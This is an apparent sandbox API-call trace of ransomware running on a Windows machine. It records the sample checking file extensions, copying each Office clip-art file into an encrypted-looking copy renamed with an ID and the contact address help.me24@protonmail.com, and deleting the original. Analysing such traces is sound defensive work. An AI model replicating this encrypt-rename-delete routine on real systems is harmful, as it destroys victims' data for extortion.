	[0086.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0086.000] lstrlenW (lpString=".1cd") returned 4
	[0086.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0086.000] lstrlenW (lpString=".jpg") returned 4
	[0086.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0086.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0086.000] lstrlenW (lpString=".doc") returned 4
	[0086.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.000] lstrlenW (lpString=".docx") returned 5
	[0086.000] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.000] lstrlenW (lpString=".pdf") returned 4
	[0086.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.000] lstrlenW (lpString=".xls") returned 4
	[0086.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.000] lstrlenW (lpString=".xlsx") returned 5
	[0086.000] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.000] lstrlenW (lpString=".ppt") returned 4
	[0086.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0086.001] lstrlenW (lpString=".zip") returned 4
	[0086.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.001] lstrlenW (lpString=".rar") returned 4
	[0086.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.001] lstrlenW (lpString=".bz2") returned 4
	[0086.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.001] lstrlenW (lpString=".7z") returned 3
	[0086.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0086.001] lstrlenW (lpString=".dbf") returned 4
	[0086.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0086.001] lstrlenW (lpString=".1cd") returned 4
	[0086.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0086.001] lstrlenW (lpString=".jpg") returned 4
	[0086.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.001] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0086.001] lstrlenW (lpString="BL00985_.WMF") returned 12
	[0086.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0086.001] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3768) returned 1
	[0086.001] CloseHandle (hObject=0x39c) returned 1
	[0086.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220
	[0086.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0086.002] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.002] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0086.002] GetLastError () returned 0x0
	[0086.002] ReadFile (in: hFile=0x39c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xeb8, lpOverlapped=0x0) returned 1
	[0086.006] WriteFile (in: hFile=0x324, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec0, lpOverlapped=0x0) returned 1
	[0086.007] ReadFile (in: hFile=0x39c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.007] WriteFile (in: hFile=0x324, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.007] SetEndOfFile (hFile=0x324) returned 1
	[0086.007] CloseHandle (hObject=0x324) returned 1
	[0086.008] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.008] SetEndOfFile (hFile=0x39c) returned 1
	[0086.008] CloseHandle (hObject=0x39c) returned 1
	[0086.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0086.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1
	[0086.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0086.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0086.009] lstrlenW (lpString=".doc") returned 4
	[0086.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.009] lstrlenW (lpString=".docx") returned 5
	[0086.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.009] lstrlenW (lpString=".pdf") returned 4
	[0086.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.009] lstrlenW (lpString=".xls") returned 4
	[0086.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.009] lstrlenW (lpString=".xlsx") returned 5
	[0086.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.009] lstrlenW (lpString=".ppt") returned 4
	[0086.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0086.010] lstrlenW (lpString=".zip") returned 4
	[0086.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.010] lstrlenW (lpString=".rar") returned 4
	[0086.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.010] lstrlenW (lpString=".bz2") returned 4
	[0086.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.010] lstrlenW (lpString=".7z") returned 3
	[0086.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0086.010] lstrlenW (lpString=".dbf") returned 4
	[0086.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0086.010] lstrlenW (lpString=".1cd") returned 4
	[0086.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0086.010] lstrlenW (lpString=".jpg") returned 4
	[0086.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0086.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0086.010] lstrlenW (lpString=".doc") returned 4
	[0086.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.010] lstrlenW (lpString=".docx") returned 5
	[0086.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.010] lstrlenW (lpString=".pdf") returned 4
	[0086.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.010] lstrlenW (lpString=".xls") returned 4
	[0086.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.010] lstrlenW (lpString=".xlsx") returned 5
	[0086.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.010] lstrlenW (lpString=".ppt") returned 4
	[0086.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0086.011] lstrlenW (lpString=".zip") returned 4
	[0086.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.011] lstrlenW (lpString=".rar") returned 4
	[0086.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.011] lstrlenW (lpString=".bz2") returned 4
	[0086.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.011] lstrlenW (lpString=".7z") returned 3
	[0086.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0086.011] lstrlenW (lpString=".dbf") returned 4
	[0086.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0086.011] lstrlenW (lpString=".1cd") returned 4
	[0086.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0086.011] lstrlenW (lpString=".jpg") returned 4
	[0086.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.011] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0086.011] lstrlenW (lpString="BOAT.WMF") returned 8
	[0086.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.014] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3350) returned 1
	[0086.014] CloseHandle (hObject=0x360) returned 1
	[0086.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220
	[0086.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.014] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.014] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0086.014] GetLastError () returned 0x0
	[0086.014] ReadFile (in: hFile=0x360, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xd16, lpOverlapped=0x0) returned 1
	[0086.017] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xd20, lpOverlapped=0x0) returned 1
	[0086.018] ReadFile (in: hFile=0x360, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.018] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0086.018] SetEndOfFile (hFile=0x39c) returned 1
	[0086.018] CloseHandle (hObject=0x39c) returned 1
	[0086.020] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.020] SetEndOfFile (hFile=0x360) returned 1
	[0086.021] CloseHandle (hObject=0x360) returned 1
	[0086.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0086.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1
	[0086.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0086.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0086.022] lstrlenW (lpString=".doc") returned 4
	[0086.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.022] lstrlenW (lpString=".docx") returned 5
	[0086.022] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0086.022] lstrlenW (lpString=".pdf") returned 4
	[0086.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.022] lstrlenW (lpString=".xls") returned 4
	[0086.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.022] lstrlenW (lpString=".xlsx") returned 5
	[0086.022] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0086.022] lstrlenW (lpString=".ppt") returned 4
	[0086.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0086.022] lstrlenW (lpString=".zip") returned 4
	[0086.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.022] lstrlenW (lpString=".rar") returned 4
	[0086.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.022] lstrlenW (lpString=".bz2") returned 4
	[0086.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.022] lstrlenW (lpString=".7z") returned 3
	[0086.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0086.022] lstrlenW (lpString=".dbf") returned 4
	[0086.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0086.022] lstrlenW (lpString=".1cd") returned 4
	[0086.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0086.022] lstrlenW (lpString=".jpg") returned 4
	[0086.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0086.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0086.023] lstrlenW (lpString=".doc") returned 4
	[0086.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.023] lstrlenW (lpString=".docx") returned 5
	[0086.023] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0086.023] lstrlenW (lpString=".pdf") returned 4
	[0086.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.023] lstrlenW (lpString=".xls") returned 4
	[0086.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.023] lstrlenW (lpString=".xlsx") returned 5
	[0086.023] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0086.023] lstrlenW (lpString=".ppt") returned 4
	[0086.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0086.023] lstrlenW (lpString=".zip") returned 4
	[0086.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.023] lstrlenW (lpString=".rar") returned 4
	[0086.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.023] lstrlenW (lpString=".bz2") returned 4
	[0086.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.023] lstrlenW (lpString=".7z") returned 3
	[0086.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0086.023] lstrlenW (lpString=".dbf") returned 4
	[0086.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0086.023] lstrlenW (lpString=".1cd") returned 4
	[0086.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0086.023] lstrlenW (lpString=".jpg") returned 4
	[0086.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.024] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0086.024] lstrlenW (lpString="BOATINST.WMF") returned 12
	[0086.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.024] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=29004) returned 1
	[0086.024] CloseHandle (hObject=0x360) returned 1
	[0086.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220
	[0086.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.024] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.024] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0086.025] GetLastError () returned 0x0
	[0086.025] ReadFile (in: hFile=0x360, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x714c, lpOverlapped=0x0) returned 1
	[0086.030] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7150, lpOverlapped=0x0) returned 1
	[0086.031] ReadFile (in: hFile=0x360, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.031] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.031] SetEndOfFile (hFile=0x39c) returned 1
	[0086.031] CloseHandle (hObject=0x39c) returned 1
	[0086.033] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.033] SetEndOfFile (hFile=0x360) returned 1
	[0086.034] CloseHandle (hObject=0x360) returned 1
	[0086.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0086.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1
	[0086.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0086.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0086.035] lstrlenW (lpString=".doc") returned 4
	[0086.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.035] lstrlenW (lpString=".docx") returned 5
	[0086.035] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0086.035] lstrlenW (lpString=".pdf") returned 4
	[0086.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.035] lstrlenW (lpString=".xls") returned 4
	[0086.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.035] lstrlenW (lpString=".xlsx") returned 5
	[0086.035] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0086.035] lstrlenW (lpString=".ppt") returned 4
	[0086.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0086.035] lstrlenW (lpString=".zip") returned 4
	[0086.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.035] lstrlenW (lpString=".rar") returned 4
	[0086.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.035] lstrlenW (lpString=".bz2") returned 4
	[0086.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.035] lstrlenW (lpString=".7z") returned 3
	[0086.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0086.035] lstrlenW (lpString=".dbf") returned 4
